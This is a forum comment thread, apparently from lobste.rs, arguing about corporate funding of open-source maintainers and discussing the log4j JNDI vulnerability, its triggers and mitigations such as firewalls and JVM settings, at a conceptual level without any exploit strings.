If by ‘people’ you mean ‘corporations that make a profit by running said OSS software’, then yes, they actually should pay for it, and funnily enough, no, they actually don’t want to pay for it. Who knew?
Are you not making a living using and knowing how to use these tools? Are you saying it is strictly somebody elses problem?
I’m making a living using open source tools, but I’d also make a living using closed-source tools. Corporations are the ones that are making profits hand over first thanks to OSS.
okay, but how is only the company benefiting if you are earning a salary from said company. Seems like a strange difference you are making up. You are part of the system. If you think maintainers should earn money, give them money and maybe also evangelize that thought in the company you work for.
I didn’t say only the company is benefitting, but it is disproportionately benefitting. You can bet that I’m not paid even a tenth of what my share of the profits would be if they were divided up among all employees. But then, that’s capitalism. My point is that corporations handily exploit OSS developers.
And btw, I do and have evangelized it. We have a Red Hat enterprise support contract so we are at least partially funding open source development work. And I am recommending ways to contract with other open source providers as I feel that’s a sustainable model for everybody.
And in any case, saying ‘You are part of the system’ is not actually a way to invalidate someone’s argument. Yes, we are part of the current world and live in it somehow. Does that mean we can’t speak up about it wanting to be better?
The question is, would they use it if it wasn’t free? If you must pay for software, would you pay for a “free” database, Linux or web server instead of an alternative from a commercial vendor?
Have you seen how much corporations pay for enterprise software like Oracle and Salesforce? Yes, they would pay for software that they perceive as a benefit. That’s not even a question.
Nobody pays money for a library like log4j2 though, yet that is the starting point of the discussion
Could probably be a response in https://lobste.rs/s/ngrid5/rce_0_day_exploit_found_log4j_popular_java?
Could probably be a response in https://lobste.rs/s/ngrid5/rce_0_day_exploit_found_log4j_popular_java, just as every other article / post making a similar point.
Fortunately this is often mitigated by firewalls (from secured production environments you can not connect to random servers on the internet).
And it also seems that this exploit requires, that you glue string values together (
"log message" + valueFromUser) instead of passing them as parameters, which is bad practice (however quite common and will be at least once present in many codebases).On the orange site people say it works with parameters too:
That means even if you follow all best practices, you are vulnerable.
I am also baffled that there is support for loading random classes over the wire in a logging framework. Why add this? This should never be anyones requirement. It is too complex to get right as we see here.
Then it is quite bad, because while message template can be considered somehow trusted executable code, the message parameter must be treated as a value potentially coming from an attacker.
However the important part of best practices is that you set up your firewall and disable everything except what you really need (principle of least privilege).
I am seeing some chatter about how ASF might be tying the hands of the log4j2 maintainers and forcing them to keep the JNDI feature for backward-compatibility reasons… is this likely?
No, the ASF is just a governing body that has rules about how a project is run (community, commit rights, etc.) but not what a project has to implement or support. That is up to the members of the project.
This is somewhat mitigated by being java version dependent. com.sun.jndi.ldap.object.trustURLCodebase is set to false In recent versions of java. Its prevents RCE. However, you still get the connection attempt.
This is an interesting one I saw on twitter (haven’t tried it myself though):
With the amount of secrets stored in environment variables, this seems a bit bad.
Only if you have a recent enough version of log4j installed. Otherwise that option doesn’t exist in the codebase, so setting it makes no difference & you’re still vulnerable.
I believe you’re talking about two different options. The one msw posted is a JVM level configuration that controls classloading and prevents loading classes over JNDI from non-local URLs. There is also a log4j specific configuration that controls whether log4j will interpret JNDI strings in log messages. That latter one is the only one that is specific to a version of log4j.
Ah, I was just tired yesterday & not reading the comments I was replying to properly :)
@cadey, what’s your opinion of the rise of corporate-run open source projects? Or perhaps that’s too unrelated to what you’re talking about here?
Yeah it’s a weird gray area. I’m not sure what the best approach is.
Open Source is working just fine. Business is broken.
In fact, if you have to pay for software, it’s even less likely to be updated or maintained as that requires somebody who doesn’t understand the issues to sign the check.
Seen this slow motion train wreck in action…
Moral of the Story… there is a problem, a big problem, but open source isn’t it.